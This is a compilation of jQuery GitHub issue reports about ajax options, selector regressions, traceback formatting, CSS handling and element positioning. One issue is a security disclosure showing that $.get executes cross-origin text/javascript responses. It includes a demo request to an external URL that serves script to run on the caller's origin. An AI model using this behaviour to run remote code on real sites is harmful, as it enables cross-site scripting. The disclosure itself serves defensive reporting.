jQuery JavaScript Library
MIT License
57152
3239
20658

How to send a file or formdata with jQuery is brought up a lot at StackOverflow

I think you should do things better by trying to understand what kind of data they are sending without having to do processData = false and contentType = false

that is why i propose this should be possible

jQuery.ajax({
  url: url, 
  method: 'POST',
  data: FormData || typed arrays || Blob || File || UrlSearchParams

  // without the need of this:
  // processData: false,
  // contentType: false
});

// and also 
jQuery.post(url, FormData || typed arrays || Blob || File || UrlSearchParams)

What i usually do is propose using the fetch api instead of jquery's ajax, this is something that you don't make any easier for the developers, it's quite the opposite. It makes it harder and more confusing to why things don't work

Description

Traceback reformatting breaks source-maps, it is unreadable compared to browser built in tracebacks, and it cannot be folded closed like browser built in tracebacks. Tracebacks are an essential development tool. Breaking traceback is not an acceptable way to write libraries.

Closing tickets pointing out that jQuery breaks tracebacks, does not fix tracebacks.

Description

See #5192 (comment) for context:

From @mgol: I wonder about the name of this argument [stack - add. mine]. The idea was to fill it in via https://github.com/dmethvin/jquery-deferred-reporter or something equivalent but that would hit the same issue with unmapped source maps for that additional stack. Should we assume that we should also pass a full error object here instead?

Since we should now encourage passing the whole error object and not just the stack trace, @dmethvin suggested deprecating jQuery.Deferred.getStackHook and using jQuery.Deferred.getErrorHook. Note that nothing prevents people from sending a stack trace to this new API as well, it's just that our recommendation for what's the best course of action changes.

Link to test case

In the following example, while the same headers setting is used for all four requests, the header is only sent in the first three requests, it is not sent in the fourth request:

const page = 
`<html>
<head>
	<script src='https://code.jquery.com/jquery-3.6.1.min.js'></script>
</head>
<body>
	<script>
		var headers = { 'X-Test-Header': 'Test-Header-Value' };
		$.ajax('Request_1', { dataType: 'html', headers: headers });
		$.ajax('Request_2', { dataType: 'html', crossDomain: true, headers: headers });
		$.ajax('Request_3', { dataType: 'script', headers: headers });
		$.ajax('Request_4', { dataType: 'script', crossDomain: true, headers: headers });
	</script>
</body>
</html>`;
const express = require('express')();
express.get('/', (request, response) => { response.send(page); });
express.get(/^\/Request_[1-4]$/, (request, response) => {
	console.log(`${request.path}: ${request.get('X-Test-Header')}`);
	response.send(''); });
express.listen(9000);

The server logs:

/Request_1: Test-Header-Value
/Request_2: Test-Header-Value
/Request_3: Test-Header-Value
/Request_4: undefined

Shouldn’t the header also be sent in the fourth request?

Originally posted by @khetaramsb in #5177 (comment)

After upgrading jQuery from 3.6.0 to3.6.3 pseudo selector :before does not work in selector list with Firefox. Everything works with Chrome.

This worked in 3.6.0
jQuery(".inline-dialog-content:before").css({'left': 40});

In 3.6.3 it gives following error:

Uncaught Error: Syntax error, unrecognized expression: unsupported pseudo: before

Because of this

jQuery.globalEval( text );
every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).

So when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo $.get('http://sakurity.com/jqueryxss')

The fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.

P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.

Description

After upgrading to jQuery 3.6.2 pseudo selector :valid does not work in selector list with Firefox and Safari. Everything works with Chrome.

This worked in 3.6.1

jQuery('body').find('div:valid, span')

In 3.6.2 it gives following error:

Uncaught Error: Syntax error, unrecognized expression: unsupported pseudo: valid

This still works with old and new versions with Firefox and Safari:

jQuery('body').find('div:valid')

Description

A .find() call like $(x).find(".foo button") will only find button elements that have a parent with class "foo" somewhere in the DOM subtree under element x. That is the jQuery intention.

However, a .find() call like $(x).find(":not(.foo button)") will find all elements that are not a button descending from an element with class "foo". However, that descendant test is not scoped to the subtree under element x. If any element from x up to the root of the DOM has class "foo", buttons will be excluded from the result.

This may be intentional or preserved for legacy reasons. I have not personally suffered from this, the bug is mostly to have something to reference.

Link to test case

https://codepen.io/Pointy/pen/OJwWyMb?editors=1111

[]

Description

How to set a custom header?
I tried with headers and beforeSend but both show the same error:
image

Code

<html>
    <head>
        <script src="https://code.jquery.com/jquery-3.6.3.min.js" integrity="sha256-pvPw+upLPUjgMXY0G+8O0xUf+/Im1MZjXxxgOcBQBXU=" crossorigin="anonymous"></script>
    </head>
    <body>
        <script>
            $.get({ headers: { 'X-Tebex-Secret': 'value' }, dataType: 'json', url: 'https://plugin.tebex.io/payments' })
            .then(console.log)
            .catch(console.error)
        </script>
    </body>
</html>
<html>
    <head>
        <script src="https://code.jquery.com/jquery-3.6.3.min.js" integrity="sha256-pvPw+upLPUjgMXY0G+8O0xUf+/Im1MZjXxxgOcBQBXU=" crossorigin="anonymous"></script>
    </head>
    <body>
        <script>
            $.get({ beforeSend: function(xhr){ xhr.setRequestHeader('X-Tebex-Secret', 'value') }, dataType: 'json', url: 'https://plugin.tebex.io/payments' })
            .then(console.log)
            .catch(console.error)
        </script>
    </body>
</html>

Description

As discussed in #5085 (comment), it would be worthwhile to try to fix the long-standing selector-native issue of not requiring all selector parts to match element under context, e.g. so that:

$div.find("div > *")

no longer matches children of $div.

My preliminary research indicates resolving this issue would cost about 1000 bytes minified gzipped; it'd still be 3300 bytes minified gzipped smaller than the full build compared to 4300 bytes minified gzipped without this change.

Link to test case

No test case since we don't upload selector-native versions anywhere. But the example from the description is pretty straightforward.

Found an issue when using .css('aspect-ratio', x);

If x is a number, 'px' seems to be added, causing the attribute to not be set.

Looks like 'aspectRatio' needs to be added to cssNumber definition.

My current work-around is to convert x to a string, e.g. use .css('aspect-ratio', x+'');

Description

The e.which value does not work in Firefox when doing a mouseover. The value is a constant value of 1 for all mouse inputs. I expect to see normalized values:

No Click: 0
Left Click: 1
Middle Click: 2
Right Click: 3

Works as expected in Chrome. See test case for example.

Link to test case

Instructions: Open Firefox, then hover over the red box. The value should be 0, but we get 1. Now left click and drag over the red box. Notice a value of 1. Now right click and drag over the red box, notice the value is still 1. Same goes for the middle button. Workaround is to store the "which" value on a mousedown and use that value. This is inconvenient though.

https://jsbin.com/zibalaq/edit?html,js,console,output

Bug Reports:
With [prevAll] and then with [wrapAll], the order of the nodes in the dom changes

Description

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/jquery@3.6.1/dist/jquery.min.js"></script>
</head>
<body>
    <div id="row" style="border: 1px solid black;">
        <span>【one】</span>
        <span>【two】</span>
        <span id="middle">【middle】</span>
        <span>【three】</span>
        <span>【four】</span>
    </div>


    <div id="jqueryChange" style="border: 1px solid black;margin-top: 50px;">
        <span>【one】</span>
        <span>【two】</span>
        <span id="middle">【middle】</span>
        <span>【three】</span>
        <span>【four】</span>
    </div>    
</body>

<script>

    $(function() {

        $("#jqueryChange #middle").each(function () {
                    $(this).prevAll()
                        .wrapAll("<p/>")
                        .end()
                        .nextAll()
                        .wrapAll("<p/>")
        })

    })

</script>

</html>

image

Link to test case

Description

If the CSS attribute scroll-behavior: smooth; is set, the animate function does not work correctly in Chrome. It looks like the animate is hanging/lagging.
In Firefox it works as expected.

Tested with jQuery 3.6.0/ 3.6.1. / 3.6.2.

Link to test case

https://jsfiddle.net/L0hjorkb/1/

Description

code for reproducing:

<!DOCTYPE html>
<html>
<head>
  <title>jQuery test</title>
  <script
    src="https://code.jquery.com/jquery-3.3.1.js"
    integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
    crossorigin="anonymous"></script>
  <script type="text/javascript">
    $(function(){
	setTimeout(function(){
 	  $("input#first").focus();		
	  alert("input focused: " + $("input").is(":focus")  
	  	+ "\r\n input#first focused: " + $("input#first").is(":focus") 
		+ "\r\n input:focus id: " + $("input:focus").attr("id") 
		+ "\r\n $('input').not(':focus').length: " + $("input").not(":focus").length
		+ "\r\n $('input:not(:focus)').length: " + $("input:not(:focus)").length
		+ "\r\n focused count: " + $("input:focus").length);
	}, 1000);
  });
  </script>
</head>
<body>
  <input type="text" id="first" name="a">
  <input type="text" id="second" name="b">
</body>
</html>

When I use Edge I have strange behavior of .is(":focus") and .not(".focus")

How it should work?

all browsers:
image

edge (if you click by page after reload):
image

What is wrong?
edge: if you do not click by page after reload, you will get these results (you can click by page tab if it is not reproduced):

image

element is focused and selectors fetch it. But if you use .is() and .not() you will get wrong results

I reproduced it in my tests and I have to spend time to find reasons why sometimes it is working and sometimes is not working

Which browsers are affected?

Microsoft Edge

my version is
Microsoft Edge 42.17134.1.0
Microsoft EdgeHTML 17.17134

other browsers are ok.

test case is attached
test_to_reproduce.zip

Description

Some APIs, like .prevAll(), return elements in the reversed order, causing confusing behavior when used with wrapping methods (see gh-5149 for more info). To provide an easy workaround, we need to implement a chainable uniqueSort method on jQuery objects, an equivalent of jQuery.uniqueSort.

Link to test case

See gh-5149 for more details

The W3 offsetParent algorithm changed on 9/15. It now includes ancestor elements with a CSS transform applied. Chrome and (maybe?) FF are in compliance with the new spec, while IE and Safari are not. As a result .position() is now returning incorrect results in these browsers.

IMO jQuery will probably need to implement its own ancestor traversal rather than relying on DOM-provided .offsetParent, otherwise results will forever depend on the browser+version of the client.

See: w3c/csswg-drafts#409

Bug Reports:

  • What do you expect to happen? - element position will calculated with transform values
  • What actually happens? - element position calculated without transform values
  • Which browsers are affected? - chrome, firefox, cobalt and etc...

JQuery with version higest then 3.2.1 wrong calculated position. transform: translate values not participate in calculations

jquery version > 3.2.1:
$('.child').position() -> {top: 0, left: 0} - this is wrong position

jquery version <= 3.2.1:
$('.child').position() -> {top: 11, left: 562} - this is right position

Code exemple:

<head>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    <!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> -->
    <style>
        body {
            width: 100%;
            height: 100%;
            padding: 0;
            margin: 0;
            position: relative;
        }
        .main{
            top: 40px;
            width: 400px;
            height: 500px;
            margin: 0 auto;
            border: solid 1px black;
            transform: translateY(10px);
        }
        .child{
            width: 50px;
            height: 50px;
            margin-top: 40px;
            background-color: black;
        }
    </style>
</head>
<body>
    <div class="main">
        <div class="child"></div>
    </div>
</body>

Description

In trying to prevent 3rd party code from destroying my html, I debugged it to find that it was using jquery to 'refresh' my html nodes and wiping out their content. To prevent this I tried to catch the removal of the node, but discovered that it wasn't being removed, it was simply being reassigned via innerHTML in jquery's manipulation.js file.

` html: function( value ) {
return access( this, function( value ) {
var elem = this[ 0 ] || {},
i = 0,
l = this.length;

                    if ( value === undefined && elem.nodeType === 1 ) {
                            return elem.innerHTML;
                    }

                    // See if we can take a shortcut and just use innerHTML
                    if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
                            !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {

                            value = jQuery.htmlPrefilter( value );

                            try {
                                    for ( ; i < l; i++ ) {
                                            elem = this[ i ] || {};

                                            // Remove element nodes and prevent memory leaks
                                            if ( elem.nodeType === 1 ) {
                                                    jQuery.cleanData( getAll( elem, false ) );
                                                    elem.innerHTML = value;
                                            }
                                    }

                                    elem = 0;

                            // If using innerHTML throws an exception, use the fallback method
                            } catch ( e ) {}
                    }

`
Given that my search on the net of the use of innerHTML is generally a very bad thing (security risk, etc) it basically shouldn't be used. Is there a legitimate reason that it is still being used here? Have all the security and other concerns been addressed if it is? Is there any way to catch this (interceptor) for my node and have it not do the innerHTML in my special case?

Link to test case